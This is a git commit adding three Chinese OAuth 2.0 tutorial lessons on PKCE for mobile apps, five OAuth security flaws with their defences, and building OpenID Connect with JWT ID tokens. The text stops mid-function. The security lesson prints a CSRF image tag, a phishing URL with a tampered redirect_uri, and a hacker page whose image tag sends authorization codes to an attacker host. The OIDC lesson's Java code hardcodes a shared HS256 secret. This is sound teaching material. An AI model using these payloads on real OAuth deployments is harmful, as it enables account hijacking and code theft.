This commit is contained in:
louzefeng
2024-07-09 18:38:56 +00:00
parent 8bafaef34d
commit bf99793fd0
6071 changed files with 1017944 additions and 0 deletions

View File

@@ -0,0 +1,139 @@
<audio id="audio" title="07 | 如何在移动App中使用OAuth 2.0" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/84/5d/842fd629a38b474bba71044ea610b15d.mp3"></audio>
你好,我是王新栋。
在前面几讲中我都是基于Web应用的场景来讲解的OAuth 2.0。除了Web应用外现实环境中还有非常多的移动App。那么在移动App中能不能使用OAuth 2.0 又该如何使用OAuth 2.0呢?
没错OAuth 2.0最初的应用场景确实是Web应用但是它的伟大之处就在于它把自己的核心协议定位成了一个框架而不是单个的协议。这样做的好处是我们可以基于这个基本的框架协议在一些特定的领域进行扩展。
因此到了桌面或者移动的场景下OAuth 2.0的协议一样适用。考虑到授权码许可是最完备、最安全的许可类型所以我在讲移动App如何使用OAuth 2.0的时候,依然会用授权码许可来讲解,毕竟“要用就用最好的”。
当我们开发一款移动App的时候可以选择没有Server端的 “纯App” 架构比如这款App不需要跟自己的Server端通信或者可以调用其它开放的HTTP接口当然也可以选择有服务端的架构比如这款App还想把用户的操作日志记录下来并保存到Server端的数据库中。
那总结下来呢移动App可以分为两类一类是没有Server端的App应用一类是有Server端的App应用。
<img src="https://static001.geekbang.org/resource/image/4c/99/4c034e019467aafae511f16055b57b99.png" alt="" title="图1 两类移动App">
这两类App在使用 OAuth 2.0 时的最大区别,在于获取访问令牌的方式:
- 如果有Server端就建议通过Server端和授权服务做交互来换取访问令牌
- 如果没有Server端那么只能通过前端通信来跟授权服务做交互比如在上一讲中提到的隐式许可授权类型。当然这种方式的安全性就降低了很多。
有些时候我们可能觉得自己开发一个App不需要一个Server端。那好就让我们先来看看没有Server端的App应用如何使用授权码许可类型。
## 没有Server端的App
在一个没有Server端支持的纯App应用中我们首先想到的是如何可以像Web服务那样让请求和响应“来去自如”呢。
你可能会想我是不是可以将一个“迷你”的Web服务器嵌入到App里面去这样不就可以像Web应用那样来使用OAuth 2.0 了么确实这是行得通的而且已经有App这样做了。
这样的App通过监听运行在localhost上的Web服务器URI就可以做到跟普通的Web应用一样的通信机制。但这种方式不是我们这次要讲的重点如果你想深入了解可以去查些资料。因为当使用这种方式的时候请求访问令牌时需要的app_secret就只能保存在用户本地设备上而这并不是我们所建议的。
到这里你应该猜到了问题的关键在于如何保存app_secret因为App会被安装在成千上万个终端设备上app_secret一旦被破解就将会造成灾难性的后果。这时有的同学突发奇想如果不用app_secret也能在授权码流程里换回访问令牌access_token不就可以了吗
确实可以但新的问题也来了。在授权码许可类型的流程中如果没有了app_secret这一层的保护那么通过授权码code换取访问令牌的时候就只有授权码code在“冲锋陷阵”了。这时授权码code一旦失窃就会带来严重的安全问题。那么我既不使用app_secret还要防止授权码code失窃有什么好的方法吗
OAuth 2.0 里面就有这样的指导方法。这个方法就是我们将要介绍的PKCE协议全称是Proof Key for Code Exchange by OAuth Public Clients。
在下面的流程图中为了突出第三方软件使用PKCE协议时与授权服务之间的通信过程我省略了受保护资源服务和资源拥有者的角色
<img src="https://static001.geekbang.org/resource/image/66/52/66648bff2d955b3d714ce597299fbf52.png" alt="" title="图2 使用PKCE协议的流程图">
我来和你分析下这个流程中的重点。
首先App自己要生成一个随机的、长度在43~128字符之间的、参数为**code_verifier**的字符串验证码;接着,我们再利用这个**code_verifier<strong>来生成一个被称为“挑战码”的参数**code_challenge</strong>
那怎么生成这个code_challenge的值呢OAuth 2.0 规范里面给出了两种方法就是看code_challenge_method这个参数的值
- 一种code_challenge_method=plain此时code_verifier的值就是code_challenge的值
- 另外一种code_challenge_method=S256就是将code_verifier值进行ASCII编码之后再进行哈希然后再将哈希之后的值进行BASE64-URL编码如下代码所示。
```
code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
```
好了,我知道有这样两个值,也知道它们的生成方法了,但这两个值跟我们的授权码流程有什么关系呢,又怎么利用它们呢?不用着急,我们接着讲。
授权码流程简单概括起来不是有两步吗第一步是获取授权码code第二步是用app_id+app_secret+code获取访问令牌access_token。刚才我们的“梦想”不是设想不使用app_secret但同时又能保证授权码流程的安全性么
没错。code_verifier和code_challenge这两个参数就是来帮我们实现这个“梦想”的。
在**第一步获取授权码code的时候我们使用code_challenge**参数。需要注意的是我们要同时将code_challenge_method参数也传过去目的是让授权服务知道生成code_challenge值的方法是plain还是S256。
```
https://authorization-server.com/auth?
response_type=code&amp;
app_id=APP_ID&amp;
redirect_uri=REDIRECT_URI&amp;
code_challenge=CODE_CHALLENGE&amp;
code_challenge_method=S256
```
在**第二步获取访问令牌的时候我们使用code_verifier参数**授权服务此时会将code_verifier的值进行一次运算。那怎么运算呢就是上面code_challenge_method=S256的这种方式。
没错第一步请求授权码的时候已经告诉授权服务生成code_challenge的方法了。所以在第二步的过程中授权服务将运算的值跟第一步接收到的值做比较如果相同就颁发访问令牌。
```
POST https://api.authorization-server.com/token?
grant_type=authorization_code&amp;
code=AUTH_CODE_HERE&amp;
redirect_uri=REDIRECT_URI&amp;
app_id=APP_ID&amp;
code_verifier=CODE_VERIFIER
```
现在你就知道了我们是如何使用code_verifier和code_challenge这两个参数的了吧。总结一下就是换取授权码code的时候我们使用code_challenge参数值换取访问令牌的时候我们使用code_verifier参数值。那么有的同学会继续问了我们为什么要这样做呢。
现在,就让我来和你分析一下。
我们的愿望是没有Server端的手机App也可以使用授权码许可流程对吧app_secret不能用因为它只能被存在用户的设备上我们担心被泄露。
那么在没有了app_secret这层保护的前提下即使我们的授权码code被截获再加上code_challenge也同时被截获了那也没有办法由code_challenge逆推出code_verifier的值。而恰恰在第二步换取访问令牌的时候授权服务需要的就是code_verifier的值。因此这也就避免了访问令牌被恶意换取的安全问题。
现在我们可以通过PKCE协议的帮助让没有Server端的App也能够安全地使用授权码许可类型进行授权了。但是按照 OAuth 2.0 的规范建议通过后端通信来换取访问令牌是较为安全的方式。所以呢在这里我想跟你探讨的是我们真的不需要一个Server端吗在做移动应用开发的时候我们真的从设计上就决定废弃Server端了吗
## 有Server端的App
如果你开发接入过微信登录,就会在微信的官方文档上看到下面这句话:
>
微信 OAuth 2.0 授权登录目前支持 authorization_code 模式,适用于拥有 Server 端的应用授权。
没错微信的OAuth 2.0 授权登录就是建议我们需要一个Server端来支持这样的授权接入。
那么有Server端支持的App又是如何使用OAuth 2.0 的授权码许可流程的呢?其实,在前面几讲的基础上,我们现在理解这样的场景并不是什么难事儿。
我们仍以微信登录为例,看一下[官方的流程图](https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html)
<img src="https://static001.geekbang.org/resource/image/86/b1/86d3yy8fa419c94b7e3766fe0a4e3db1.png" alt="" title="图3 微信登录流程图">
看到这个图你是不是觉得特别熟悉跟普通的授权码流程没有区别仍是两步走的策略第一步换取授权码code第二步通过授权码code换取访问令牌access_token。
这里的第三方应用就是我们作为开发者来开发的应用包含了移动App和Server端。我们将其“放大”得到下面这张图
<img src="https://static001.geekbang.org/resource/image/56/5e/564f5b7af360180d270e205df5f9c05e.png" alt="" title="图4 有Server端的App的授权流程">
我们从这张“放大”的图中就会发现有Server端的App在使用授权码流程的时候跟普通的Web应用几乎没有任何差别。
大概流程是当我们访问第三方App的时候需要用到微信来登录第三方App可以拉起微信的App我们会在微信的App里面进行登录及授权微信Server端验证成功之后会返回一个授权码code通过微信App传递给了第三方App后面的流程就是我们熟悉的使用授权码code和app_secret换取访问令牌access_token的值了。
这次使用app_secret的时候我们是在第三方App的Server端来使用的因此安全性上没有任何问题。
## 总结
今天这一讲我重点和你讲了两块内容没有Server端的App和有Server端的App分别是如何使用授权码许可类型的。我希望你能够记住以下两点内容。
1. 我们使用OAuth 2.0协议的目的就是要起到安全性的作用但有些时候因为使用不当反而会造成更大的安全问题比如将app_secret放入App中的最基本错误。如果放弃了app_secret又是如何让没有Server端的App安全地使用授权码许可协议呢针对这种情况我和你介绍了PKCE协议。它是一种在失去app_secret保护的时候防止授权码失窃的解决方案。
1. 我们需要思考一下我们的App真的不需要一个Server端吗我建议你在开发移动App的时候尽可能地都要搭建一个Server端因为通过后端通信来传输访问令牌比通过前端通信传输要安全得多。我也举了微信的例子很多官方的开放平台在提供OAuth 2.0服务的时候都会建议开发者要有一个相应的Server端。
那么关于OAuth 2.0 的使用还有哪些安全方面的防范措施是我们要注意的呢,接下来的一讲中我们会重点跟大家介绍。
## 思考题
在移动App中你还能想到有哪些相对安全的方式来使用OAuth 2.0吗?
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

View File

@@ -0,0 +1,187 @@
<audio id="audio" title="08 | 实践OAuth 2.0时,使用不当可能会导致哪些安全漏洞?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/11/af/1138fc9a8f89e3fbbd5cf0ba5ea2a8af.mp3"></audio>
你好,我是王新栋。
当知道这一讲的主题是OAuth 2.0的安全漏洞时你可能要问了“OAuth 2.0 不是一种安全协议吗不是保护Web API的吗为啥OAuth 2.0自己还有安全的问题了呢?”
首先OAuth 2.0 的确是一种安全协议。这没啥问题但是它有很多使用规范比如授权码是一个临时凭据只能被使用一次要对重定向URI做校验等。那么如果使用的时候你没有按照这样的规范来实施就会有安全漏洞了。
其次OAuth 2.0既然是“生长”在互联网这个大环境中就一样会面对互联网上常见安全风险的攻击比如跨站请求伪造Cross-site request forgeryCSRF、跨站脚本攻击Cross Site ScriptingXSS
最后除了这些常见攻击类型外OAuth 2.0 自身也有可被利用的安全漏洞比如授权码失窃、重定向URI伪造。
所以,我们**在实践OAuth 2.0的过程中,安全问题一定是重中之重**。接下来我挑选了5个典型的安全问题其中CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险授权码失窃和重定向URI被篡改属于OAuth2.0“专属”的安全风险。接下来,我就和你一起看看这些安全风险的由来,以及如何应对吧。
## CSRF攻击
对于CSRF的定义《OAuth 2 in Action》这本书里的解释是我目前看到的最为贴切的解释恶意软件让浏览器向**已完成用户身份认证**的网站发起请求,并**执行有害的操作**,就是跨站请求伪造攻击。
它是互联网上最为常见的攻击之一。我们在实践OAuth2.0的过程其实就是在构建一次互联网的应用。因此OAuth 2.0同样也会面临这个攻击。接下来,我通过一个案例和你说明这个攻击类型。
有一个软件 A我们让它来扮演攻击者让它的开发者按照正常的流程使用极客时间。当该攻击者授权后拿到授权码的值 codeA之后“立即按下了暂停键”不继续往下走了。那它想干啥呢我们继续往下看。
这时,**有一个第三方软件B比如咱们的Web版极客时间来扮演受害者吧。<strong>当然最终的受害者是用户这里是用Web版极客时间来作为被软件A攻击的对象**。</strong>
极客时间用于接收授权码的回调地址为 `https://time.geekbang.org/callback`。有一个用户G已经在极客时间的平台登录且对极客时间进行了授权也就是用户G已经在极客时间平台上有登录态了。
如果此时攻击者软件A在自己的网站上构造了一个恶意页面
```
&lt;html&gt;
&lt;img src =&quot;https://time.geekbang.org/callbackcode=codeA&quot;&gt;
&lt;/html&gt;
```
如果这个时候用户G被攻击者软件A诱导而点击了这个恶意页面那结果就是极客时间使用codeA值去继续OAuth 2.0的流程了。这其实就走完了一个CSRF攻击的过程如下图所示
<img src="https://static001.geekbang.org/resource/image/f1/fe/f12446c76ffcbb58b8ce00c3f874f8fe.png" alt="" title="图1 CSRF攻击过程">
如果我们将OAuth 2.0用于了身份认证那么就会造成严重的后果因为用户G使用的极客时间的**授权上下文环境**跟攻击者软件A的**授权上下文环境**绑定在了一起。为了解释两个上下文环境绑定在一起可能带来的危害,我们还是拿极客时间来举例。
假如极客时间提供了用户账号和微信账号做绑定的功能也就是说用户先用自己的极客时间的账号登录然后可以绑定微信账号以便后续可以使用微信账号来登录。在绑定微信账号的时候微信会咨询你是否给极客时间授权让它获取你在微信上的个人信息。这时候就需要用到OAuth 2.0的授权流程。
如果攻击者软件A通过自己的极客时间账号事先做了上面的绑定操作也就是说攻击者已经可以使用自己的微信账号来登录极客时间了。那有一天软件A想要“搞事情”了便在发起了一个授权请求后构造了一个攻击页面里面包含的模拟代码正如我在上面描述的那样来诱导用户G点击。
而用户G已经用极客时间的账号登录了极客时间此时正要去做跟微信账号的绑定。如果这个时候他刚好点击了攻击者A“种下”的这个恶意页面那么后面换取授权的访问令牌access_token以及通过accces_token获取的信息就都是攻击者软件A的了。
这就相当于用户G将自己的极客时间的账号跟攻击者软件A的微信账号绑定在了一起。这样一来后续攻击者软件A就能够通过自己的微信账号来登录用户G的极客时间了。这个后果可想而知。
那如何避免这种攻击呢方法也很简单实际上OAuth 2.0中也有这样的建议,就是**使用state参数**,它是一个随机值的参数。
还是以上面的场景为例当极客时间请求授权码的时候附带一个自己生成state参数值同时授权服务也要按照规则将这个随机的state值跟授权码code一起返回给极客时间。这样当极客时间接收到授权码的时候就要在极客时间这一侧做一个state参数值的比对校验如果相同就继续流程否则直接拒绝后续流程。
在这样的情况下软件A要想再发起CSRF攻击就必须另外构造一个state值而这个state没那么容易被伪造。这本就是一个随机的数值而且在生成时就遵从了被“猜中”的概率要极小的建议。比如生成一个6位字母和数字的组合值显然要比生成一个6位纯数字值被“猜中”的概率要小。所以软件B通过使用state参数就实现了一个基本的防跨站请求伪造保护。
我们再来总结下这个攻击过程本质上就是软件A攻击者用自己的授权码codeA的值通过CSRF攻击“替换”了软件B的授权码的值。
接下来我再给你看一种互联网常见的安全攻击类型也就是XSS攻击。
## XSS攻击
XSS攻击的主要手段是将恶意脚本注入到请求的输入中攻击者可以通过注入的恶意脚本来进行攻击行为比如搜集数据等。截止到2020年6月23日在OWASP一个开源的Web应用安全项目上查看安全漏洞排名的话它依然在[TOP10](https://owasp.org/www-project-top-ten/)榜单上面,可谓“大名鼎鼎”。
网络上有很多关于XSS的介绍了我推荐你看看[《XSS攻击原理分析与防御技术》](https://segmentfault.com/a/1190000013315450)这篇文章它很清晰地分析了XSS的原理以及防御方法。今天我们主要看看它是怎么在OAuth 2.0的流程中“发挥”的。
当请求抵达受保护资源服务时系统需要做校验比如第三方软件身份合法性校验、访问令牌access_token的校验如果这些信息都不能被校验通过受保护资源服务就会返回错误的信息。
<img src="https://static001.geekbang.org/resource/image/07/93/076a8f694f76b8a65cc105b54c280e93.png" alt="" title="图2 XSS攻击过程">
大多数情况下受保护资源都是把输入的内容比如app_id invalid、access_token invalid 再回显一遍这时就会被XSS攻击者捕获到机会。试想下如果攻击者传入了一些恶意的、搜集用户数据的JavaScript 代码,受保护资源服务直接原路返回到用户的页面上,那么当用户触发到这些代码的时候就会遭受到攻击。
因此受保护资源服务就需要对这类XSS漏洞做修复而具体的修复方法跟其它网站防御XSS类似最简单的方法就是**对此类非法信息做转义过滤**,比如对包含`&lt;script&gt;``&lt;img&gt;``&lt;a&gt;`等标签的信息进行转义过滤。
CSRF攻击、XSS攻击是我从OWASP网站上挑选的两个最为熟知的两种攻击类型它们应该是所有Web系统都需要共同防范的。我们在实施OAuth 2.0 架构的时候,也一定要考虑到这层防护,否则就会给用户造成伤害。接下来,我再带着你了解一下水平越权攻击。
## 水平越权
**水平越权是指,在请求受保护资源服务数据的时候,服务端应用程序未校验这条数据是否归属于当前授权的请求用户**。这样不法者用自己获得的授权来访问受保护资源服务的时候,就有可能获取其他用户的数据,导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询,无论更新操作还是查询操作都有相当的危害性。
这么说可能有些抽象,我们看一个具体的例子。
还是以我们的“小兔打单软件”为例第三方开发者开发了这款打单软件目前有两个商家A和商家B购买并使用。现在小兔打单软件上面提供了根据订单ID查询订单数据的功能如下图所示。
<img src="https://static001.geekbang.org/resource/image/42/77/42c7534227ffcd72f05db518e6b76577.png" alt="" title="图3 水平越权发生场景">
商家A和商家B分别给小兔打单软件应用做了授权也就是说小兔打单软件可以获取商家A和商家B的订单数据。此时没有任何问题**那么商家A可以获取商家B的订单数据吗**答案是,极有可能的。
在开放平台环境下授权关系的校验是由一般由开放网关这一层来处理因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌access_token获取了用户的身份比如商家ID就会透传到受保护资源服务也就是上游接口提供方的系统。
此时如果受保护资源服务没有对商家ID和订单ID做归属判断就有可能发生商家A获取商家B订单数据的问题造成水平越权问题。
<img src="https://static001.geekbang.org/resource/image/0e/4f/0eaa1a1c991ee25406a85e9dfa17b64f.png" alt="" title="图4 水平越权示例图">
发生水平越权问题的根本原因还是开发人员的认知与意识不够。如果认知与意识跟得上那在设计之初增加归属关系判断比如上面提到的订单ID和商家ID的归属关系判断就能在很大程度上避免这个漏洞。
同时,在开放平台环境下,由于开放网关和数据接口提供方来自不同的业务部门,防止水平校验的逻辑处理很容易被遗漏:
- 一方面开放网关的作用是将用户授权之后的访问令牌access_token信息转换成真实的用户信息比如上面提到的商家ID然后传递到接口提供方数据归属判断逻辑只能在接口提供方内部处理
- 另一方面,数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”,容易忽略水平校验的逻辑处理。
所以,在开放平台环境下,我们就要更加重视与防范数据的越权问题。
以上CSRF攻击、XSS攻击、水平越权这三种攻击类型它们都属于OAuth 2.0面临的互联网非常常见的通用攻击类型。而对于其他的互联网攻击类型,如果你想深入了解的话,可以看一下这篇[安全案例回顾](https://wooyun.js.org/drops/OAuth%202.0%E5%AE%89%E5%85%A8%E6%A1%88%E4%BE%8B%E5%9B%9E%E9%A1%BE.html)的文章。
接下来我们再看两种OAuth 2.0专有的安全攻击分别是授权码失窃、重定向URI被篡改。
## 授权码失窃
我们举个例子,先来学习授权码失窃这个场景。
如果第三方软件A有合法的app_id和app_secret那么当它去请求访问令牌的时候也是合法的。这个时候没有任何问题让我们继续。
如果有一个用户G对第三方软件B比如极客时间进行授权并产生了一个授权码codeB但并没有对攻击者软件A授权。此时软件A是不能访问用户G的所有数据的。但这时如果软件A获取了这个codeB是不是就能够在没有获得用户G授权的情况下访问用户G的数据了整个过程如下图所示。
<img src="https://static001.geekbang.org/resource/image/7d/7b/7d464d5a0c49a77862fef10f77cf057b.png" alt="" title="图5 授权码失窃攻击过程">
**这时问题的根源就在于两点:**
- 授权服务在进行授权码校验的时候没有校验app_id_B
- 软件B也就是极客时间使用过一次codeB的值之后授权服务没有删除这个codeB
看到这里通过校验app_id_B并删除掉使用过一次的授权码及其对应的访问令牌就可以从根本上来杜绝授权码失窃带来的危害了。
说到这里你不禁要问了授权码到底是怎么失窃的呢接下来我要介绍的就是授权码失窃的可能的方法之一这也是OAuth 2.0中因重定向URI校验方法不当而遭受到的一种危害。这种安全攻击类型就是重定向URI被篡改。
## 重定向URI被篡改
有的时候授权服务提供方并没有对第三方软件的回调URI做完整性要求和完整性校验。比如第三软件B极客时间的详细回调URI是`https://time.geekbang.org/callback`,那么在完整性校验缺失的情况下,只要以`https://time.geekbang.org`开始的回调URI地址都会被认为是合法的。
此时,如果黑客在`https://time.geekbang.org/page/`下,创建了一个页面**hacker.html**。这个页面的内容可以很简单,其目的就是让请求能够抵达攻击者的服务。
```
&lt;html&gt;
&lt;img src =&quot;https://clientA.com/catch&quot;&gt;
&lt;/html&gt;
```
好了,我们继续看下接下来的攻击流程:
<img src="https://static001.geekbang.org/resource/image/04/41/04d71e6a8d32fe8b516db7e7424bf141.png" alt="" title="图6 重定向URI被篡改的攻击过程">
首先黑客将构造的攻击页面放到对应的hacker.html上也就是`https://time.geekbang.org/page/hacker.html`同时构造出了一个新的重定向URI`https://time.geekbang.org/page/welcome/back.html../hacker.html`
然后,黑客利用一些钓鱼手段诱导用户,去点击下面的这个地址:
```
https://oauth-server.com/auth?respons_type=code&amp;client_id=CLIENTID&amp;redirect_uri=https://time.geekbang.org/page/welcome/back.html../hacker.html
```
这样当授权服务做出响应进行重定向请求的时候授权码code就返回到了hacker.html这个页面上。
最后,黑客在`https://clientA.com/catch`页面上解析Referrer头部就会得到用户的授权码继而就可以像授权码失窃的场景中那样去换取访问令牌了。
看到这里我们就知道了如果授权服务要求的回调URI是`https://time.geekbang.org/callback`并做了回调URI的完整性校验那么被篡改之后的回调地址`https://time.geekbang.org/page/welcome/back.html../hacker.html`就不会被授权服务去发起重定向请求。
严格来讲要发生这样的漏洞问题条件还是比较苛刻的。从图6的重定向URI被篡改的流程中也可以看到只要我们在授权服务验证第三方软件的请求时做了签名校验那么攻击者在只拿到授权码code的情况下仍然无法获取访问令牌因为第三方软件只有通过访问令牌才能够访问用户的数据。
但是,如果这些防范安全风险的规范建议你通通都没有遵守,那就是在给攻击者“大显身手”的机会,让你的应用软件以及用户遭受损失。
## 总结
好了以上就是今天的主要内容了。我们一起学习了OAuth 2.0相关的常见又比较隐蔽的5种安全问题包括CSRF攻击、XSS攻击、水平越权、授权码失窃、重定向URI被篡改。更多关于OAuth 2.0 安全方面的内容你也可以去翻阅《OAuth 2 in Action》这本书。
通过这一讲的学习,你需要记住以下三个知识点:
1. 互联网场景的安全攻击类型比如CSRF、XSS等在OAuth 2.0中一样要做防范因为OAuth 2.0本身就是应用在互联网场景中。
1. 除了常见的互联网安全攻击OAuth 2.0也有自身的安全风险问题比如我们讲到的授权码失窃、重定向URI被篡改。
1. 这些安全问题,本身从攻击的“技术含量”上并不高,但导致这些安全风险的因素,往往就是开发人员的安全意识不够。比如,没有意识到水平越权中的数据归属逻辑判断,需要加入到代码逻辑中。
其实OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式但都要求我们使用的时候一定要非常严谨。比如重定向URI的校验方式规范里面是允许模糊校验的但在结合实际环境的时候我们又必须做到精确匹配校验才可以保障OAuth 2.0流转的安全性。
最后我还整理了一张知识脑图总结了这5种攻击方式的内容来帮助你理解与记忆。
<img src="https://static001.geekbang.org/resource/image/47/7f/479c2f3945d7a8e186f91f58b89db57f.jpg" alt="">
## 思考题
<li>
今天我们讲的这些安全问题,都是站在“守”的一方,并没有告诉你如何 “绞尽脑汁” 地利用漏洞。所谓“知己知彼百战不殆”现在你站在“攻”的一方来考虑下除了重定向URI被篡改还有什么其它的授权码被盗的场景吗
</li>
<li>
你认为还有哪些安全风险是专属于OAuth 2.0的吗?
</li>
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

View File

@@ -0,0 +1,182 @@
<audio id="audio" title="09 | 实战利用OAuth 2.0实现一个OpenID Connect用户身份认证协议" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/1d/0f/1d0e58401760ff9858bde52ab35bee0f.mp3"></audio>
你好,我是王新栋。
如果你是一个第三方软件开发者,在实现用户登录的逻辑时,除了可以让用户新注册一个账号再登录外,还可以接入微信、微博等平台,让用户使用自己的微信、微博账号去登录。同时,如果你的应用下面又有多个子应用,还可以让用户只登录一次就能访问所有的子应用,来提升用户体验。
这就是联合登录和单点登录了。再继续深究它们其实都是OpenID Connect简称OIDC的应用场景的实现。那OIDC又是什么呢
今天我们就来学习下OIDC和OAuth 2.0的关系以及如何用OAuth 2.0来实现一个OIDC用户身份认证协议。
## OIDC是什么
OIDC其实就是一种用户身份认证的开放标准。使用微信账号登录极客时间的场景就是这种开放标准的实践。
说到这里你可能要发问了“不对呀使用微信登录第三方App用的不是OAuth 2.0开放协议吗怎么又扯上OIDC了呢
没错用微信登录某第三方软件确实使用的是OAuth 2.0。但OAuth2.0是一种授权协议而不是身份认证协议。OIDC才是身份认证协议而且是基于OAuth 2.0来执行用户身份认证的互通协议。更概括地说OIDC就是直接基于OAuth 2.0 构建的身份认证框架协议。
换种表述方式,**OIDC=授权协议+身份认证**是OAuth 2.0的超集。为方便理解我们可以把OAuth 2.0理解为面粉把OIDC理解为面包。这下你是不是就理解它们的关系了因此我们说“第三方App使用微信登录用到了OAuth 2.0”没有错说“使用到了OIDC”更没有错。
考虑到单点登录、联合登录都遵循的是OIDC的标准流程因此今天我们就讲讲如何利用OAuth2.0来实现一个OIDC“高屋建瓴” 地去看问题。掌握了这一点,我们再去做单点登录、联合登录的场景,以及其他更多关于身份认证的场景,就都不再是问题了。
## OIDC 和 OAuth 2.0 的角色对应关系
说到“如何利用 OAuth 2.0 来构建 OIDC 这样的认证协议”我们可以想到一个切入点这个切入点就是OAuth 2.0 的四种角色。
OAuth 2.0的授权码许可流程的运转需要资源拥有者、第三方软件、授权服务、受保护资源这4个角色间的顺畅通信、配合才能够完成。如果我们要想在OAuth 2.0的授权码许可类型的基础上,来构建 OIDC 的话这4个角色仍然要继续发挥 “它们的价值”。那么这4个角色又是怎么对应到OIDC中的参与方的呢
那么,我们就先想想一个关于身份认证的协议框架,应该有什么角色。你可能已经想出来了,它需要一个登录第三方软件的最终用户、一个第三方软件,以及一个认证服务来为这个用户提供身份证明的验证判断。
没错这就是OIDC的三个主要角色了。在OIDC的官方标准框架中这三个角色的名字是
- EUEnd User代表最终用户。
- RPRelying Party代表认证服务的依赖方就是上面我提到的第三方软件。
- OPOpenID Provider代表提供身份认证服务方。
EU、RP和OP这三个角色对于OIDC非常重要我后面也会时常使用简称来描述希望你能先记住。
现在很多App都接入了微信登录那么微信登录就是一个大的身份认证服务OP。一旦我们有了微信账号就可以登录所有接入了微信登录体系的AppRP这就是我们常说的联合登录。
现在我们就借助极客时间的例子来看一下OAuth 2.0的4个角色和OIDC的3个角色之间的对应关系
<img src="https://static001.geekbang.org/resource/image/8f/e9/8f794280f949862af3ebdc61d69c5fe9.png" alt="" title="图1 OAuth 2.0和OIDC的角色对应关系">
## OIDC 和 OAuth 2.0 的关键区别
看到这张角色对应关系图,你是不是有点 “恍然大悟” 的感觉要实现一个OIDC协议不就是直接实现一个OAuth 2.0协议吗。没错我在这一讲的开始也说了OIDC就是基于OAuth 2.0来实现的一个身份认证协议框架。
我再继续给你画一张OIDC的通信流程图你就更清楚OIDC和OAuth 2.0的关系了:
<img src="https://static001.geekbang.org/resource/image/23/4b/23ce63497f6734dbc6dc9c5b6399c54b.png" alt="" title="图2 基于授权码流程的OIDC通信流程">
可以发现一个基于授权码流程的OIDC协议流程跟OAuth 2.0中的授权码许可的流程几乎完全一致,唯一的区别就是多返回了一个**ID_TOKEN**,我们称之为**ID令牌**。这个令牌是身份认证的关键。所以接下来我就着重和你讲一下这个令牌而不再细讲OIDC的整个流程。
### OIDC 中的ID令牌生成和解析方法
在图2的OIDC通信流程的第6步我们可以看到ID令牌ID_TOKEN和访问令牌ACCESS_TOKEN是一起返回的。关于为什么要同时返回两个令牌我后面再和你分析。我们先把焦点放在ID令牌上。
我们知道访问令牌不需要被第三方软件解析因为它对第三方软件来说是不透明的。但ID令牌需要能够被第三方软件解析出来因为第三方软件需要获取ID令牌里面的内容来处理用户的登录态逻辑。
那**ID令牌的内容是什么呢**
首先ID令牌是一个JWT格式的令牌。你可以到[第4讲](https://time.geekbang.org/column/article/257747)中复习下JWT的相关内容。这里需要强调的是虽然JWT令牌是一种自包含信息体的令牌为将其作为ID令牌带来了方便性但是因为ID令牌需要能够标识出用户、失效时间等属性来达到身份认证的目的所以要将其作为OIDC的ID令牌时下面这5个JWT声明参数也是必须要有的。
- iss令牌的颁发者其值就是身份认证服务OP的URL。
- sub令牌的主题其值是一个能够代表最终用户EU的全局唯一标识符。
- aud令牌的目标受众其值是三方软件RP的app_id。
- exp令牌的到期时间戳所有的ID令牌都会有一个过期时间。
- iat颁发令牌的时间戳。
生成ID令牌这部分的示例代码如下
```
//GENATE ID TOKEN
String id_token=genrateIdToken(appId,user);
private String genrateIdToken(String appId,String user){
String sharedTokenSecret=&quot;hellooauthhellooauthhellooauthhellooauth&quot;;//秘钥
Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
SignatureAlgorithm.HS256.getJcaName());//采用HS256算法
Map&lt;String, Object&gt; headerMap = new HashMap&lt;&gt;();//ID令牌的头部信息
headerMap.put(&quot;typ&quot;, &quot;JWT&quot;);
headerMap.put(&quot;alg&quot;, &quot;HS256&quot;);
Map&lt;String, Object&gt; payloadMap = new HashMap&lt;&gt;();//ID令牌的主体信息
payloadMap.put(&quot;iss&quot;, &quot;http://localhost:8081/&quot;);
payloadMap.put(&quot;sub&quot;, user);
payloadMap.put(&quot;aud&quot;, appId);
payloadMap.put(&quot;exp&quot;, 1584105790703L);
payloadMap.put(&quot;iat&quot;, 1584105948372L);
return Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key,SignatureAlgorithm.HS256).compact();
}
```
接下来,我们再看看**处理用户登录状态的逻辑是如何处理的**。
你可以先试想一下,如果 “不跟OIDC扯上关系”也就是 “单纯” 构建一个用户身份认证登录系统我们是不是得保存用户登录的会话关系。一般的做法是要么放在远程服务器上要么写进浏览器的cookie中同时为会话ID设置一个过期时间。
但是当我们有了一个JWT这样的结构化信息体的时候尤其是包含了令牌的主题和过期时间后不就是有了一个“天然”的会话关系信息么。
所以依靠JWT格式的ID令牌就足以让我们解决身份认证后的登录态问题。这也就是为什么在OIDC协议里面要返回ID令牌的原因**ID令牌才是OIDC作为身份认证协议的关键所在**。
那么有了ID令牌后第三方软件应该如何解析它呢接下来我们看一段解析ID令牌的具体代码如下
```
private Map&lt;String,String&gt; parseJwt(String jwt){
String sharedTokenSecret=&quot;hellooauthhellooauthhellooauthhellooauth&quot;;//密钥
Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
SignatureAlgorithm.HS256.getJcaName());//HS256算法
Map&lt;String,String&gt; map = new HashMap&lt;String, String&gt;();
Jws&lt;Claims&gt; claimsJws = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(jwt);
//解析ID令牌主体信息
Claims body = claimsJws.getBody();
map.put(&quot;sub&quot;,body.getSubject());
map.put(&quot;aud&quot;,body.getAudience());
map.put(&quot;iss&quot;,body.getIssuer());
map.put(&quot;exp&quot;,String.valueOf(body.getExpiration().getTime()));
